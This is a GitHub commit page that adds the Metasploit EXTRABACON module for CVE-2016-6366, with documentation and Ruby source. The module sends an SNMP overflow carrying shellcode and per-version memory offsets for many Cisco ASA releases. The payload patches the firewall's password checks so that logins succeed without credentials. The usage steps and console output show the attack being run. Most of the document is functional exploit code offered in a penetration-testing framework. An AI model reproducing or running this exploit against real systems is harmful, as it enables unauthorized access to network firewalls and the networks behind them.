Skip to content

Commit e0ff885

Browse files
author
Brent Cook
committed
Land rapid7#7359, add EXTRABACON auxiliary module auxiliary/admin/cisco/cisco_asa_extrabacon
2 parents 9c6b67a + 90bd2a9 commit e0ff885

File tree

2 files changed

+314
-0
lines changed

2 files changed

+314
-0
lines changed
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
## General notes
2+
3+
This is using improved shellcode, has less stages than the Equation Group
4+
version making it more reliable. This makes the SNMP payload packet ~150 less
5+
bytes. Also, the leaked version only supports 8.x, we have it working on 9.x
6+
versions.
7+
8+
To add more version specific offsets, more details and a Lina file offset
9+
finder are available at:
10+
11+
https://github.com/RiskSense-Ops/CVE-2016-6366
12+
13+
## Partial list of supported versions
14+
------------------------------------------------------------
15+
All of the leaked versions are available in the module
16+
17+
- 8.x
18+
- 8.0(2)
19+
- 8.0(3)
20+
- 8.0(3)6
21+
- 8.0(4)
22+
- 8.0(4)32
23+
- 8.0(5)
24+
- 8.2(1)
25+
- 8.2(2)
26+
- 8.2(3)
27+
- 8.2(4)
28+
- 8.2(5)
29+
- 8.2(5)33 `*`
30+
- 8.2(5)41 `*`
31+
- 8.3(1)
32+
- 8.3(2)
33+
- 8.3(2)39 `*`
34+
- 8.3(2)40 `*`
35+
- 8.3(2)-npe `*` `**`
36+
- 8.4(1)
37+
- 8.4(2)
38+
- 8.4(3)
39+
- 8.4(4)
40+
- 8.4(4)1 `*`
41+
- 8.4(4)3 `*`
42+
- 8.4(4)5 `*`
43+
- 8.4(4)9 `*`
44+
- 8.4(6)5 `*`
45+
- 8.4(7) `*`
46+
- 9.x
47+
- 9.0(1) `*`
48+
- 9.1(1)4 `*`
49+
- 9.2(1) `*`
50+
- 9.2(2)8 `*`
51+
- 9.2(3) `*`
52+
- 9.2(4) `*`
53+
- 9.2(4)13 `*`
54+
55+
`*` new version support not part of the original Shadow Brokers leak
56+
57+
`**` We currently can't distinguish between normal and NPE versions from the SNMP strings. We've commented out the NPE offsets, as NPE is very rare (it is for exporting to places where encryption is crappy), but in the future, we'd like to incorporate these versions. Perhaps as a bool option?
58+
59+
## Verification
60+
61+
- Start `msfconsole`
62+
- `use auxiliary/admin/cisco/cisco_asa_extrabacon`
63+
- `set RHOST x.x.x.x`
64+
- `check`
65+
- `run`
66+
- ssh [email protected], you will not need a valid password
67+
- `set MODE pass-enable`
68+
- `run`
69+
- ssh [email protected], ensure fake password does not work
70+
71+
## Checking for a vulnerable version
72+
73+
```
74+
msf > use auxiliary/admin/cisco/cisco_asa_extrabacon
75+
msf auxiliary(cisco_asa_extrabacon) > set rhost 192.168.1.1
76+
rhost => 192.168.1.1
77+
msf auxiliary(cisco_asa_extrabacon) > check
78+
79+
[+] Payload for Cisco ASA version 8.2(1) available!
80+
[*] 192.168.1.1:161 The target appears to be vulnerable.
81+
```
82+
83+
## Disabling administrative password
84+
85+
```
86+
msf auxiliary(cisco_asa_extrabacon) > set
87+
set ACTION set ConsoleLogging set Prompt set RHOST set TimestampOutput
88+
set CHOST set LogLevel set PromptChar set RPORT set VERBOSE
89+
set COMMUNITY set MODE set PromptTimeFormat set SessionLogging set VERSION
90+
set CPORT set MinimumRank set RETRIES set TIMEOUT set WORKSPACE
91+
msf auxiliary(cisco_asa_extrabacon) > set MODE pass-
92+
set MODE pass-disable set MODE pass-enable
93+
msf auxiliary(cisco_asa_extrabacon) > set MODE pass-disable
94+
MODE => pass-disable
95+
msf auxiliary(cisco_asa_extrabacon) > run
96+
97+
[*] Building pass-disable payload for version 8.2(1)...
98+
[*] Sending SNMP payload...
99+
[+] Clean return detected!
100+
[!] Don't forget to run pass-enable after logging in!
101+
[*] Auxiliary module execution completed
102+
```
103+
104+
## Re-enabling administrative password
105+
106+
```
107+
msf auxiliary(cisco_asa_extrabacon) > set MODE pass-enable
108+
MODE => pass-enable
109+
msf auxiliary(cisco_asa_extrabacon) > run
110+
111+
[*] Building pass-enable payload for version 8.2(1)...
112+
[*] Sending SNMP payload...
113+
[+] Clean return detected!
114+
[*] Auxiliary module execution completed
115+
```
Lines changed: 199 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,199 @@
1+
##
2+
# auxiliary/admin/cisco/cisco_asa_extrabacon.rb
3+
##
4+
5+
require 'msf/core'
6+
7+
class MetasploitModule < Msf::Auxiliary
8+
9+
include Msf::Exploit::Remote::SNMPClient
10+
include Msf::Auxiliary::Cisco
11+
12+
def initialize
13+
super(
14+
'Name' => 'Cisco ASA Authentication Bypass (EXTRABACON)',
15+
'Description' => %q{
16+
This module patches the authentication functions of a Cisco ASA
17+
to allow uncredentialed logins. Uses improved shellcode for payload.
18+
},
19+
'Author' =>
20+
[
21+
'Sean Dillon <[email protected]>',
22+
'Zachary Harding <[email protected]>',
23+
'Nate Caroe <[email protected]>',
24+
'Dylan Davis <[email protected]>',
25+
'William Webb <william_webb[at]rapid7.com>', # initial module and ASA hacking notes
26+
'Equation Group',
27+
'Shadow Brokers'
28+
],
29+
'References' =>
30+
[
31+
[ 'CVE', '2016-6366'],
32+
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp'],
33+
[ 'URL', 'https://github.com/RiskSense-Ops/CVE-2016-6366'],
34+
],
35+
'License' => MSF_LICENSE
36+
)
37+
register_options([
38+
OptEnum.new('MODE', [ true, 'Enable or disable the password auth functions', 'pass-disable', ['pass-disable', 'pass-enable']])
39+
], self.class)
40+
41+
deregister_options("VERSION")
42+
datastore['VERSION'] = '2c' # SNMP v. 2c required it seems
43+
44+
@asa_version_snmp = '1.3.6.1.2.1.47.1.1.1.1.10.1'
45+
46+
@offsets = {
47+
#"9.2(4)14" => ["197.207.10.8", "118.97.40.9", "72", "0.16.185.9", "112.31.185.9", "85.49.192.137", "0.80.8.8", "240.95.8.8", "85.137.229.87"],
48+
"9.2(4)13" => ["197.207.10.8", "70.97.40.9", "72", "0.16.185.9", "240.30.185.9", "85.49.192.137", "0.80.8.8", "240.95.8.8", "85.137.229.87"],
49+
"9.2(4)" => ["101.190.10.8", "54.209.39.9", "72", "0.48.184.9", "192.52.184.9", "85.49.192.137", "0.80.8.8", "0.91.8.8", "85.137.229.87"],
50+
"9.2(3)" => ["29.112.29.8", # jmp_esp_offset, 0
51+
"134.115.39.9", # saferet_offset, 1
52+
"72", # fix_ebp, 2
53+
"0.128.183.9", # pmcheck_bounds, 3
54+
"16.128.183.9", # pmcheck_offset, 4
55+
"85.49.192.137", # pmcheck_code, 5
56+
"0.80.8.8", # admauth_bounds, 6
57+
"64.90.8.8", # admauth_offset, 7
58+
"85.137.229.87"], # admauth_code, 8
59+
60+
"9.2(2)8" => ["21.187.10.8", "54.245.39.9", "72", "0.240.183.9", "16.252.183.9", "85.49.192.137", "0.80.8.8", "64.90.8.8", "85.137.229.87"],
61+
"9.2(1)" => ["197.180.10.8", "54.118.39.9", "72", "0.240.182.9", "16.252.182.9", "85.49.192.137", "0.80.8.8", "176.84.8.8", "85.137.229.87"],
62+
"9.1(1)4" => ["173.250.27.8", "134.177.3.9", "72", "0.112.127.9", "176.119.127.9", "85.49.192.137", "0.48.8.8", "96.49.8.8", "85.137.229.87"],
63+
"9.0(1)" => ["221.227.27.8", "134.13.3.9", "72", "0.176.126.9", "112.182.126.9", "85.49.192.137", "0.32.8.8", "240.45.8.8", "85.137.229.87"],
64+
"8.4(7)" => ["109.22.18.8", "70.254.226.8", "72", "0.144.87.9", "80.156.87.9", "85.49.192.137", "0.32.8.8", "0.34.8.8", "85.137.229.87"],
65+
"8.4(6)5" => ["125.63.32.8", "166.11.228.8", "72", "0.176.88.9", "96.186.88.9", "85.49.192.137", "0.32.8.8", "240.33.8.8", "85.137.229.87"],
66+
"8.4(4)9" => ["173.23.5.8", "166.113.226.8", "72", "0.144.86.9", "224.154.86.9", "85.49.192.137", "0.16.8.8", "160.27.8.8", "85.137.229.87"],
67+
"8.4(4)5" => ["202.250.13.8", "246.48.226.8", "72", "0.64.86.9", "16.69.86.9", "85.49.192.137", "0.16.8.8", "160.27.8.8", "85.137.229.87"],
68+
"8.4(4)3" => ["164.119.8.8", "102.0.226.8", "72", "0.240.85.9", "96.252.85.9", "85.49.192.137", "0.16.8.8", "160.27.8.8", "85.137.229.87"],
69+
"8.4(4)1" => ["253.74.114.8", "150.236.225.8", "72", "0.192.85.9", "176.202.85.9", "85.49.192.137", "0.16.8.8", "176.27.8.8", "85.137.229.87"],
70+
"8.4(4)" => ["111.198.161.9", "181.105.226.8", "72", "0.192.85.9", "240.201.85.9", "85.49.192.137", "0.16.8.8", "176.27.8.8", "85.137.229.87"],
71+
"8.4(3)" => ["13.178.7.8", "150.219.224.8", "72", "0.192.84.9", "208.207.84.9", "85.49.192.137", "0.16.8.8", "208.23.8.8", "85.137.229.87"],
72+
"8.4(2)" => ["25.71.20.9", "230.222.223.8", "72", "0.128.83.9", "240.143.83.9", "85.49.192.137", "0.16.8.8", "224.19.8.8", "85.137.229.87"],
73+
"8.4(1)" => ["173.58.17.9", "6.12.219.8", "72", "0.240.72.9", "240.252.72.9", "85.49.192.137", "0.48.8.8", "144.56.8.8", "85.137.229.87"],
74+
"8.3(2)40" => ["169.151.13.8", "124.48.196.8", "88", "0.128.59.9", "48.137.59.9", "85.49.192.137", "0.224.6.8", "32.228.6.8", "85.137.229.87"],
75+
"8.3(2)39" => ["143.212.14.8", "124.48.196.8", "88", "0.128.59.9", "176.136.59.9", "85.49.192.137", "0.224.6.8", "32.228.6.8", "85.137.229.87"],
76+
"8.3(2)" => ["220.203.69.9", "252.36.195.8", "88", "0.80.54.9", "144.84.54.9", "85.49.192.137", "0.208.6.8", "16.222.6.8", "85.137.229.87"],
77+
#"8.3(2)-npe" => ["125.116.12.8", "76.34.195.8", "88", "0.80.54.9", "224.81.54.9", "85.49.192.137", "0.208.6.8", "16.222.6.8", "85.137.229.87"],
78+
"8.3(1)" => ["111.187.14.8", "140.140.194.8", "88", "0.112.53.9", "240.119.53.9", "85.49.192.137", "0.208.6.8", "48.221.6.8", "85.137.229.87"],
79+
"8.2(5)41" => ["77.90.18.8", "188.9.187.8", "88", "0.160.50.9", "16.168.50.9", "85.49.192.137", "0.240.6.8", "16.243.6.8", "85.137.229.87"],
80+
"8.2(5)33" => ["157.218.29.8", "236.190.186.8", "88", "0.80.50.9", "96.92.50.9", "85.49.192.137", "0.240.6.8", "192.242.6.8", "85.137.229.87"],
81+
"8.2(5)" => ["253.13.54.9", "156.229.185.8", "88", "0.16.48.9", "96.28.48.9", "85.49.192.137", "0.240.6.8", "64.242.6.8", "85.137.229.87"],
82+
"8.2(4)" => ["93.172.49.9", "236.91.185.8", "88", "0.176.43.9", "96.187.43.9", "85.49.192.137", "0.240.6.8", "16.242.6.8", "85.137.229.87"],
83+
"8.2(3)" => ["45.0.7.8", "252.42.185.8", "88", "0.96.43.9", "128.111.43.9", "85.49.192.137", "0.240.6.8", "144.241.6.8", "85.137.229.87"],
84+
"8.2(2)" => ["150.54.28.9", "124.0.184.8", "88", "0.224.41.9", "32.227.41.9", "85.49.192.137", "0.208.6.8", "64.221.6.8", "85.137.229.87"],
85+
"8.2(1)" => ["147.242.43.9", "108.154.181.8", "88", "0.0.36.9", "240.14.36.9", "85.49.192.137", "0.208.6.8", "16.215.6.8", "85.137.229.87"],
86+
"8.0(5)" => ["253.116.31.9", "204.64.171.8", "88", "0.32.24.9", "64.32.24.9", "85.49.192.137", "0.96.6.8", "128.107.6.8", "85.137.229.87"],
87+
"8.0(4)32" => ["157.6.31.9", "44.20.171.8", "88", "0.176.23.9", "0.176.23.9", "85.49.192.137", "0.96.6.8", "48.105.6.8", "85.137.229.87"],
88+
"8.0(4)" => ["109.188.26.9", "140.100.168.8", "88", "0.96.19.9", "128.101.19.9", "85.49.192.137", "0.96.6.8", "176.104.6.8", "85.137.229.87"],
89+
"8.0(3)6" => ["191.143.24.9", "28.158.161.8", "88", "0.0.11.9", "224.1.11.9", "85.49.192.137", "0.96.6.8", "112.101.6.8", "85.137.229.87"],
90+
"8.0(3)" => ["141.123.131.9", "156.138.160.8", "88", "0.128.9.9", "112.130.9.9", "85.49.192.137", "0.96.6.8", "176.96.6.8", "85.137.229.87"],
91+
"8.0(2)" => ["155.222.211.8", "44.103.159.8", "88", "0.224.6.9", "32.237.6.9", "85.49.192.137", "0.80.6.8", "48.90.6.8", "85.137.229.87"]
92+
}
93+
94+
end
95+
96+
def check
97+
begin
98+
snmp = connect_snmp
99+
vers_string = snmp.get_value(@asa_version_snmp).to_s
100+
rescue ::Exception => e
101+
print_error("Error: Unable to retrieve version information")
102+
return Exploit::CheckCode::Unknown
103+
end
104+
105+
if @offsets[vers_string]
106+
print_good("Payload for Cisco ASA version #{vers_string} available!")
107+
return Exploit::CheckCode::Appears
108+
end
109+
110+
print_warning("Received Cisco ASA version #{vers_string}, but no payload available")
111+
return Exploit::CheckCode::Detected
112+
end
113+
114+
def build_payload(vers_string, mode)
115+
# adds offsets to the improved shellcode
116+
# https://github.com/RiskSense-Ops/CVE-2016-6366/blob/master/shellcode.nasm
117+
118+
if mode == 'pass-disable'
119+
always_return_true = "49.192.64.195"
120+
pmcheck_bytes = always_return_true
121+
admauth_bytes = always_return_true
122+
else
123+
pmcheck_bytes = @offsets[vers_string][5]
124+
admauth_bytes = @offsets[vers_string][8]
125+
end
126+
127+
preamble_snmp = ""
128+
preamble_snmp << "49.219.49.246.49.201.49.192.96.49.210.128.197.16.128.194.7.4.125.80.187."
129+
preamble_snmp << @offsets[vers_string][3]
130+
preamble_snmp << ".205.128.88.187."
131+
preamble_snmp << @offsets[vers_string][6]
132+
preamble_snmp << ".205.128.199.5."
133+
preamble_snmp << @offsets[vers_string][4]
134+
preamble_snmp << "."
135+
preamble_snmp << pmcheck_bytes
136+
preamble_snmp << ".199.5."
137+
preamble_snmp << @offsets[vers_string][7]
138+
preamble_snmp << "."
139+
preamble_snmp << admauth_bytes
140+
preamble_snmp << ".97.104."
141+
preamble_snmp << @offsets[vers_string][1]
142+
preamble_snmp << ".128.195.16.191.11.15.15.15.137.229.131.197."
143+
preamble_snmp << @offsets[vers_string][2]
144+
preamble_snmp << ".195"
145+
146+
preamble_len = preamble_snmp.split('.').length
147+
preamble_snmp << ".144" * (82 - preamble_len)
148+
149+
# cufwUrlfServerStatus
150+
head = "1.3.6.1.4.1.9.9.491.1.3.3.1.1.5"
151+
head << ".9.95"
152+
153+
finder_snmp = "139.124.36.20.139.7.255.224.144"
154+
155+
overflow = [head, preamble_snmp, @offsets[vers_string][0], finder_snmp].join(".")
156+
return overflow
157+
end
158+
159+
def run()
160+
161+
begin
162+
mode = datastore['MODE']
163+
session = rand(255) + 1
164+
165+
snmp = connect_snmp
166+
vers_string = snmp.get_value(@asa_version_snmp).to_s
167+
168+
print_status("Building #{mode} payload for version #{vers_string}...")
169+
overflow = build_payload(vers_string, mode)
170+
payload = SNMP::ObjectId.new(overflow)
171+
172+
print_status("Sending SNMP payload...")
173+
response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)])
174+
175+
if response.varbind_list
176+
print_good("Clean return detected!")
177+
if mode == 'pass-disable'
178+
print_warning("Don't forget to run pass-enable after logging in!")
179+
end
180+
end
181+
182+
rescue ::Rex::ConnectionError
183+
print_error("Connection Error: Is the target up?")
184+
rescue ::SNMP::RequestTimeout
185+
print_error("SNMP Error: Request Timeout, Cisco ASA may have crashed :/")
186+
rescue ::SNMP::UnsupportedVersion
187+
print_error("SNMP Error: Version 2c is not supported by target.")
188+
rescue ::NoMethodError
189+
print_error("Error: No payload available for version #{vers_string}")
190+
rescue ::Interrupt
191+
raise $!
192+
rescue ::Exception => e
193+
print_error("Error: #{e.class} #{e} #{e.backtrace}")
194+
ensure
195+
disconnect_snmp
196+
end
197+
end
198+
199+
end

0 commit comments

Comments
 (0)